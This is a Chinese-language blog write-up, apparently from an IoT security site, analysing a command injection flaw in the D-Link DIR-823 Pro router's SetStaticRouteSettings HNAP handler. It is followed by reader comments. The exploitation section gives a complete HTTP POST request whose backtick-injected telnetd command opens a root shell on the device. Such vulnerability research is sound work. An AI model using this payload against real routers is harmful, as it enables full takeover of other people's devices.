D-Link DIR-823 Pro命令执行

固件安全
2022-04-21 17:15
24056

0x00.前言

0x01.漏洞分析

使用binwalk提取固件

漏洞产生位置是设置静态路由时,未对输入的内容进行过滤,从而造成命令执行

这里我们查看对应的HTML源代码,这里可以清晰的看到发送的数据和请求的地址

根据请求地址进行搜索,查看负责处理请求的二进制应用

可以看到prog.cgi中包含SetStaticRouteSettings的接口,这里我们直接使用IDA进行逆向分析

可以看到对应的请求及处理函数,这里SetStaticRouteSettings路由的处理函数是sub_43730C,我们直接跟进

可以看到传递过来的staticroute_list对应的值,继续往下跟踪

可以看到根据逗号进行分割处理,将数据传递给触发漏洞的函数sub_437028,继续跟进

这里可以看到对传递过来的数据没有进行任何过滤,直接使用sprintf进行格式化拼接,由FCGI_popen进行处理,根据popen这个词,我们可以猜测这个函数会创建一个管道执行输入的命令

查看FCGI_popen可以看到为导入函数,FCGI_popen位于导入表中,通过grep搜索

可以看到FCGI_popen位于libfcgi.so.0.0.0,接下来逆向分析对应的动态链接库

可以看到确实调用了popen创建管道来执行命令

0x02.漏洞利用

根据漏洞产生的原因,我们只需要使用逗号分割出三个地址和要执行的命令即可,最终构造的EXP如下

POST /HNAP1/ HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
SOAPACTION: "http://purenetworks.com/HNAP1/SetStaticRouteSettings"
HNAP_AUTH: ************************************* # 根据用户的实际认证
Content-Length: 130
Origin: http://192.168.100.1
Connection: close
Referer: http://192.168.100.1/Staticroute.html
Cookie: work_mode=router; uid=KjSsMz7d; PrivateKey=************; timeout=218

{"SetStaticRouteSettings":{"staticroute_list":"192.168.1.1,255.255.255.255,192.168.0.1,`telnetd -l /bin/sh -p 10000 -b 0.0.0.0`"}} # `中添加要执行的命令

image-20220421032217906

可以看到发送成功,使用nc连接启动的telnetd服务image-20220421032343504

可以看到命令执行成功

0x03.总结

通过上述漏洞可以看到设备在设置网络层功能时,会调用popen执行设置网络的命令,popen命令往往根据用户的输入进行格式化拼接,如果对输入的内容没有进行严格过滤,则很容易造成命令执行,并且由于只有root权限才能配置网络服务,所以,这时获取的shell就是最高权限的,不需要进行提权操作

参与评论

0 / 200

全部评论 4

zebra的头像
学习大佬思路
2023-03-19 12:14
Hacking_Hui的头像
学习了
2023-02-01 14:20
tracert的头像
前排学习
2022-09-17 01:34
ryze的头像
为啥你的IDA pro 可以做MIPS 的伪代码
2022-05-24 11:03
IOTsec-Zone的头像
IDA7.5
2022-05-24 14:38
ryze的头像
我就是IDA7.5,现实当前文件不支持
2022-05-27 13:21
投稿
签到
联系我们
关于我们